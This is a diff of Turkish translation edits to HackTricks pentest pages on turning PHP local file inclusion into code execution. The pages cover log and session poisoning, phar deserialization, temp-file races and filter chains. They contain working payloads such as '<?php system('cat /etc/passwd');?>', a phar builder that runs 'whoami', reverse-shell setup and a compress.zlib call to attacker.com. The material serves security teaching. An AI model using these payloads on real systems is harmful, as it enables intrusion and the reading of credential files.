2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile de bulunabilir)
|
||||
|
||||
### /proc/self/environ ile
|
||||
|
||||
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır.
|
||||
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, /proc/self/environ dosyası içinde yansıtılacaktır.
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
@ -488,7 +488,7 @@ PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarında saklanır
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Keki `<?php system('cat /etc/passwd');?>` olarak ayarlayın.
|
||||
Çerezi `<?php system('cat /etc/passwd');?>` olarak ayarlayın.
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
@ -502,7 +502,7 @@ Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı varsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
|
||||
1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
|
||||
2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın.
|
||||
@ -572,7 +572,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### phpinfo() Üzerinden (file_uploads = on)
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads** = on olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir dosya ile file_uploads = on ise RCE elde edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Üzerinden
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu** **sızdırabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerini kontrol ediyorsa**, bu **Race Condition** ile o kontrolü **bypass etmeyi** deneyebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile o kontrolü **bypass etmeyi** deneyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -599,7 +599,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
|
||||
|
||||
**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\
|
||||
&#xNAN;_Even bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
|
||||
&#xNAN;_EPHP Fatal Error'ı neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
`compress.zlib://` protokolü kullanılarak açılan bir dosya, `PHP_STREAM_PREFER_STDIO` bayrağı ile, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir.
|
||||
|
||||
Bu, aşağıdaki gibi bir çağrının anlamına gelir:
|
||||
Bu, şu şekilde bir çağrının yapılabileceği anlamına gelir:
|
||||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
http://attacker.com/file için bir istek gönderecek, ardından sunucu isteğe geçerli bir HTTP yanıtı ile yanıt verebilir, bağlantıyı açık tutabilir ve daha sonra dosyaya yazılacak ek veriler gönderebilir.
|
||||
http://attacker.com/file için bir istek göndereceğim, ardından sunucu isteğe geçerli bir HTTP yanıtı ile yanıt verebilir, bağlantıyı açık tutabilir ve daha sonra dosyaya yazılacak ek veriler gönderebilir.
|
||||
|
||||
Bu bilgiyi php-src kodunun main/streams/cast.c kısmında görebilirsiniz:
|
||||
```c
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# LFI2RCE via Eternal waiting
|
||||
# LFI2RCE Sonsuz Bekleme ile
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,11 +13,11 @@ Varsayılan olarak, **PHP yalnızca tek bir istekte 20 dosya yüklemeye izin ver
|
||||
; Maximum number of files that can be uploaded via a single request
|
||||
max_file_uploads = 20
|
||||
```
|
||||
Ayrıca, **potansiyel dosya adlarının sayısı 62\*62\*62\*62\*62\*62 = 56800235584**'tür.
|
||||
Ayrıca, **potansiyel dosya adlarının sayısı 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||
|
||||
### Diğer teknikler
|
||||
|
||||
Diğer teknikler, PHP protokollerine saldırmayı, dosyanın yolunu ifşa etmeyi, beklenen dosyaları kötüye kullanmayı veya **yüklenen geçici dosyaların silinmemesi için PHP'nin bir segmentasyon hatası yaşamasını sağlamayı** içerir.\
|
||||
Diğer teknikler, PHP protokollerine saldırmayı (yolun son kısmını kontrol ediyorsanız bunu yapamazsınız), dosyanın yolunu ifşa etmeyi, beklenen dosyaları kötüye kullanmayı veya **yüklenen geçici dosyaların silinmemesi için PHP'nin bir segmentasyon hatası yaşamasını sağlamayı** içerir.\
|
||||
Bu teknik, **sıfır gün bulmaya gerek kalmadan** sonuncusuna **çok benzer**.
|
||||
|
||||
### Sonsuz bekleme tekniği
|
||||
@ -27,19 +27,19 @@ Bu teknikte **sadece bir göreli yolu kontrol etmemiz gerekiyor**. Dosyaları y
|
||||
**Bu tekniğin avantajları**:
|
||||
|
||||
- Sadece bir include içinde bir göreli yolu kontrol etmeniz gerekiyor
|
||||
- Nginx veya log dosyalarına beklenmedik bir erişim seviyesi gerektirmiyor
|
||||
- Segmentasyon hatası oluşturmak için bir 0 gün gerektirmiyor
|
||||
- Yol ifşası gerektirmiyor
|
||||
- Nginx veya log dosyalarına erişim için beklenmedik bir seviyeye ihtiyaç duymaz
|
||||
- Segmentasyon hatası oluşturmak için bir 0 güne ihtiyaç duymaz
|
||||
- Yol ifşası gerektirmez
|
||||
|
||||
Bu tekniğin **ana sorunları** şunlardır:
|
||||
|
||||
- Belirli bir dosya(lar)ın mevcut olmasını gerektirir (daha fazlası olabilir)
|
||||
- **Çılgın** potansiyel dosya adı sayısı: **56800235584**
|
||||
- **Çılgın** miktarda potansiyel dosya adı: **56800235584**
|
||||
- Sunucu **rakam kullanmıyorsa** toplam potansiyel miktar: **19770609664**
|
||||
- Varsayılan olarak **tek bir istekte yalnızca 20 dosya** yüklenebilir.
|
||||
- Kullanılan sunucunun **maksimum paralel işçi sayısı**.
|
||||
- Bu limit, önceki limitlerle birlikte bu saldırının çok uzun sürmesine neden olabilir
|
||||
- **PHP isteği için zaman aşımı**. İdeal olarak bu sonsuz olmalı veya geçici yüklenen dosyaları silmeden PHP sürecini öldürmelidir, aksi takdirde bu da bir sorun olacaktır.
|
||||
- **PHP isteği için zaman aşımı**. İdeal olarak bu sonsuz olmalı veya geçici yüklenen dosyaları silmeden PHP sürecini öldürmelidir, aksi takdirde bu da bir sorun olacaktır
|
||||
|
||||
Peki, **PHP include'ını asla nasıl bitirebilirsiniz**? Sadece dosyayı **`/sys/kernel/security/apparmor/revision`** dahil ederek (**maalesef Docker konteynerlerinde mevcut değil...**).
|
||||
|
||||
@ -69,16 +69,16 @@ Eğer Apache sunucusu geliştirilirse ve **4000 bağlantı** kötüye kullanıla
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Eğer PHP betiklerini çalıştırmak için Apache için standart php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir.
|
||||
Eğer Apache için PHP betiklerini çalıştırmak için normal php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir.
|
||||
|
||||
PHP-FMP, **`/etc/php/<php-version>/fpm/pool.d/www.conf`** dosyasında **`request_terminate_timeout`** **parametresini** **ayarlar**.\
|
||||
Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ereceğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuzdur, ancak **parametre yorum satırından çıkarıldığında 30s** olur). PHP tarafından işlenen bir isteğin belirtilen saniye sayısı dolduğunda, **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, çünkü **php işlemesi durdurulmuşsa**, o **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, eğer bir isteğin o süre boyunca sürmesini sağlayabilirseniz, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve platforma tüm bağlantıları tüketerek DoS olasılığını azaltır.
|
||||
Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ereceğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuzdur, ancak **parametre yorumlanırsa 30s** olur). PHP tarafından işlenen bir isteğin belirtilen saniye sayısı dolduğunda, **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, **php işlemesi durdurulduğu için**, o **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, bir isteğin o süre boyunca sürmesini sağlarsanız, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve platforma tüm bağlantıları tüketerek bir DoS olasılığını azaltır.
|
||||
|
||||
Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı kullanacağını** varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**)** **30s**'dir. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir.
|
||||
Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı** kullanacağını varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**)** **30s**'dir. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir.
|
||||
|
||||
Sonra, **10000 dosya** oluşturmak için bir saldırganın ihtiyacı olacak: **`10000/66.67 = 150s`** ( **100000 dosya** oluşturmak için süre **25dakika** olacaktır).
|
||||
|
||||
Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. \*\*\*\* 300 req/s hızında bu işlemi gerçekleştirmek için gereken süre aşağıdaki gibidir:
|
||||
Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. \*\*\*\* 300 req/s hızında varsayarsak, bunu istismar etmek için gereken süre aşağıdaki gibidir:
|
||||
|
||||
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 saat** (2.63 saatte %50 şans)
|
||||
- (100000 dosya ile) 56800235584 / 100000 / 300 / 3600 \~= **0.525 saat** (0.263 saatte %50 şans)
|
||||
@ -92,6 +92,6 @@ Evet, bir EC2 orta boyutlu örneğinde 100000 geçici dosya oluşturmak mümkün
|
||||
|
||||
## Nginx
|
||||
|
||||
Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** destekliyor (ve bu sayı artırılabilir).
|
||||
Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** destekler (ve bu sayı artırılabilir).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@ Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d),
|
||||
|
||||
Temelde, scriptin amacı, dosyanın **başında** **Base64** dizesi oluşturmaktır; bu dize **sonunda** istenen yükü sağlayarak **`include` tarafından yorumlanacaktır**.
|
||||
|
||||
Bunu yapmak için temel noktalar:
|
||||
Bunu yapmak için temel unsurlar:
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR`, dizeye her zaman `\x1b$)C` ekleyecektir.
|
||||
- `convert.base64-decode` son derece hoşgörülüdür, temelde geçerli base64 olmayan herhangi bir karakteri yok sayar. Beklenmedik "=" bulursa bazı sorunlar çıkarır ama bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir.
|
||||
@ -16,7 +16,7 @@ Bunu yapmak için temel noktalar:
|
||||
Keyfi içerik oluşturma döngüsü:
|
||||
|
||||
1. Yukarıda açıklandığı gibi, dizeye `\x1b$)C` ekleyin.
|
||||
2. Başlangıç base64'ümüzü koruyan ve eklediğimiz kısmı, base64 kodlu php kodumuzun bir sonraki kısmı için tek geçerli base64 karakteri olan bir dizeye dönüştüren bir dizi iconv dönüşümü uygulayın.
|
||||
2. Başlangıç base64'ümüzü sağlam bırakan ve eklediğimiz kısmı, base64 kodlu php kodumuzun bir sonraki kısmı için tek geçerli base64 karakteri olan bir dizeye dönüştüren bir dizi iconv dönüşümü uygulayın.
|
||||
3. Dizeyi base64-decode ve base64-encode yaparak aradaki gereksiz verileri kaldırın.
|
||||
4. Oluşturmak istediğimiz base64 henüz tamamlanmadıysa 1'e geri dönün.
|
||||
5. Php kodumuzu almak için base64-decode yapın.
|
||||
|
||||
@ -6,11 +6,11 @@ Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir
|
||||
|
||||
**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
|
||||
İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz:
|
||||
İstismarı düzeltmeniz gerekiyor ( **=>** yerine **=>** değiştirin). Bunu yapmak için şunları yapabilirsiniz:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
**Payload**'ı exploit'in başında değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmeli, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" kontrol edin)
|
||||
Başlangıçta **payload**'u değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" olduğuna dikkat edin)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
@ -18,15 +18,15 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
|
||||
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
|
||||
|
||||
Sonra, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE sömürülebilirsiniz.
|
||||
Sonra, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE sömürü yapabilirsiniz.
|
||||
|
||||
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
|
||||
|
||||
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
|
||||
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce buna erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**, **4096B**'lık bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adının bulunduğu yer) ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, LFI zafiyetini sömürerek.
|
||||
**PHP** bir **4096B** tamponu kullanır ve bu **dolu olduğunda**, **istemciye gönderilir**. Ardından istemci **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, böylece bir LFI zafiyetini sömürebilir.
|
||||
|
||||
**İsimleri brute force denemek için Python scripti (uzunluk = 6)**
|
||||
```python
|
||||
|
||||
@ -10,7 +10,7 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
Bilmelisiniz ki eğer bir **POST** isteği **içeren** bir **dosya** **gönderirseniz**, PHP o dosyanın içeriğiyle birlikte **`/tmp/php<birşey>`** konumunda bir **geçici dosya** oluşturacaktır. Bu dosya, istek işlendiğinde **otomatik olarak silinecektir**.
|
||||
Bilmelisiniz ki eğer bir **POST** isteği **içeren** bir **dosya** **gönderirseniz**, PHP o dosyanın içeriğiyle birlikte **`/tmp/php<bir şey>`** konumunda bir **geçici dosya** oluşturacaktır. Bu dosya, istek işlendiğinde **otomatik olarak silinecektir**.
|
||||
|
||||
Eğer bir **LFI** bulursanız ve PHP'de bir segmentasyon hatasını **tetiklemeyi** başarırsanız, **geçici dosya asla silinmeyecektir**. Bu nedenle, onu bulana kadar **LFI** zafiyetini kullanarak **arama** yapabilirsiniz ve keyfi kod çalıştırabilirsiniz.
|
||||
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu tekniğin tam detaylarını [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) adresinden kontrol edin.**
|
||||
**Bu tekniğin tam detaylarını [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) adresinde kontrol edin.**
|
||||
|
||||
## **PHP Dosya Yüklemeleri**
|
||||
|
||||
@ -17,7 +17,7 @@ Windows'ta, PHP geçici dosya adlarını `GetTempFileName` fonksiyonunu kullanar
|
||||
|
||||
- Varsayılan yol genellikle `C:\Windows\Temp`'dir.
|
||||
- Önek genellikle "php"dır.
|
||||
- `<uuuu>`, benzersiz bir onaltılık değeri temsil eder. Fonksiyonun sınırlamaları nedeniyle yalnızca alt 16 bit kullanıldığından, sabit yol ve önek ile maksimum 65,535 benzersiz ad oluşturulabilir, bu da kaba kuvvet saldırısını mümkün kılar.
|
||||
- `<uuuu>`, benzersiz bir onaltılık değeri temsil eder. Fonksiyonun sınırlamaları nedeniyle yalnızca alt 16 bit kullanılır, bu da sabit yol ve önek ile maksimum 65,535 benzersiz adın oluşturulmasına olanak tanır ve bu da kaba kuvvet saldırısını mümkün kılar.
|
||||
|
||||
Ayrıca, Windows sistemlerinde istismar süreci basitleştirilmiştir. `FindFirstFile` fonksiyonundaki bir özellik, Yerel Dosya Dahil Etme (LFI) yollarında joker karakterlerin kullanılmasına izin verir. Bu, geçici dosyayı bulmak için aşağıdaki gibi bir dahil etme yolu oluşturmayı mümkün kılar:
|
||||
```
|
||||
@ -27,6 +27,6 @@ Belirli durumlarda, daha spesifik bir maske (örneğin `php1<<` veya `phpA<<`) g
|
||||
|
||||
#### GNU/Linux Sistemlerinde Sömürü
|
||||
|
||||
GNU/Linux sistemleri için, geçici dosya adlandırmasındaki rastgelelik sağlamdır, bu da adların ne tahmin edilebilir ne de kaba kuvvet saldırılarına karşı savunmasız olmasını sağlar. Daha fazla ayrıntı referans belgede bulunabilir.
|
||||
GNU/Linux sistemleri için, geçici dosya adlandırmasındaki rastgelelik sağlamdır, bu da adların ne tahmin edilebilir ne de kaba kuvvet saldırılarına karşı savunmasız olduğu anlamına gelir. Daha fazla ayrıntı referans belgede bulunabilir.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
|
||||
|
||||
**Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler** içerir, bu nedenle, ayrıştırıldığında bu **meta veri** **deseralize** edilir ve **PHP** kodu içinde bir **deserialization** zafiyetini istismar etmeye çalışabilirsiniz.
|
||||
**Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler** içerir, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** zafiyetini istismar etmeye çalışabilirsiniz.
|
||||
|
||||
Bu özelliğin en iyi yanı, bu deseralizasyonun **file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.
|
||||
Bu özelliğin en iyi yanı, bu deserileştirmenin **file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.
|
||||
|
||||
Yani, bir PHP web uygulamasının **`phar://`** protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir **class** buluyorsunuz:
|
||||
Yani, bir PHP web uygulamasının **`phar://`** protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir **sınıf** buluyorsunuz:
|
||||
```php:vunl.php
|
||||
<?php
|
||||
class AnyClass {
|
||||
@ -24,7 +24,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
Bir **phar** dosyası oluşturabilirsiniz; yüklendiğinde, **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştıracaktır.
|
||||
Bir **phar** dosyası oluşturabilirsiniz; yüklendiğinde, **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştıracaktır, şöyle bir şeyle:
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
@ -50,7 +50,7 @@ $object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **olası** dosya **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\
|
||||
Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\
|
||||
`test.phar` dosyasını şu şekilde derleyin:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız, **bir oturumunuz olmasa bile** ve `session.auto_start` **Kapalı** ise. Eğer **`session.upload_progress.enabled`** **Açık** ise ve **`PHP_SESSION_UPLOAD_PROGRESS`** değerini **multipart POST** verisinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**.
|
||||
Eğer bir **Yerel Dosya Dahil Etme** bulduysanız, hatta **bir oturumunuz yoksa** ve `session.auto_start` `Kapalı` ise. Eğer **`session.upload_progress.enabled`** **`Açık`** ise ve **multipart POST** verilerinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
@ -21,17 +21,17 @@ In the last example the session will contain the string blahblahblah
|
||||
Not edin ki **`PHP_SESSION_UPLOAD_PROGRESS`** ile **oturum içindeki verileri kontrol edebilirsiniz**, bu nedenle oturum dosyanızı dahil ederseniz kontrol ettiğiniz bir kısmı (örneğin bir php shellcode) dahil edebilirsiniz.
|
||||
|
||||
> [!NOTE]
|
||||
> İnternetteki çoğu eğitim, hata ayıklama amacıyla `session.upload_progress.cleanup`'ı `Kapalı` olarak ayarlamanızı öneriyor. PHP'deki varsayılan `session.upload_progress.cleanup` hala `Açık` durumdadır. Bu, oturumdaki yükleme ilerlemenizin mümkün olan en kısa sürede temizleneceği anlamına gelir. Bu nedenle bu bir **Race Condition** olacaktır.
|
||||
> İnternetteki çoğu eğitim, hata ayıklama amacıyla `session.upload_progress.cleanup`'ı `Off` olarak ayarlamanızı öneriyor. PHP'deki varsayılan `session.upload_progress.cleanup` hala `On`'dur. Bu, oturumdaki yükleme ilerlemenizin mümkün olan en kısa sürede temizleneceği anlamına gelir. Bu nedenle bu bir **Race Condition** olacaktır.
|
||||
|
||||
### CTF
|
||||
|
||||
Bu tekniğin yorumlandığı [**orijinal CTF**](https://blog.orange.tw/2018/10/) 'de Race Condition'ı istismar etmek için yeterli değildi, yüklenen içeriğin de `@<?php` dizesi ile başlaması gerekiyordu.
|
||||
Bu tekniğin yorumlandığı [**orijinal CTF**](https://blog.orange.tw/2018/10/) 'de Race Condition'ı istismar etmek yeterli değildi, yüklenen içeriğin de `@<?php` dizesi ile başlaması gerekiyordu.
|
||||
|
||||
`session.upload_progress.prefix`'in varsayılan ayarı nedeniyle, **OTURUM dosyamız rahatsız edici bir ön ekle başlayacaktır** `upload_progress_` Şöyle: `upload_progress_controlledcontentbyattacker`
|
||||
|
||||
**Başlangıç ön ekini kaldırmanın** hilesi, **yükü 3 kez base64encode etmek** ve ardından `convert.base64-decode` filtreleri aracılığıyla çözmektir, çünkü **base64 çözümlemesi sırasında PHP garip karakterleri kaldıracaktır**, bu nedenle 3 kez **sadece** saldırgan tarafından **gönderilen** **yük** **kalacaktır** (ve ardından saldırgan başlangıç kısmını kontrol edebilir).
|
||||
**Başlangıç ön ekini kaldırmanın** hilesi, **payload'ı 3 kez base64 encode etmek** ve ardından `convert.base64-decode` filtreleri aracılığıyla decode etmektir, çünkü **base64 decode ederken PHP garip karakterleri kaldıracaktır**, bu nedenle 3 kez **sadece** saldırgan tarafından **gönderilen** **payload** **kalacaktır** (ve ardından saldırgan başlangıç kısmını kontrol edebilir).
|
||||
|
||||
Daha fazla bilgi için orijinal yazıya [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) ve son istismara [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||
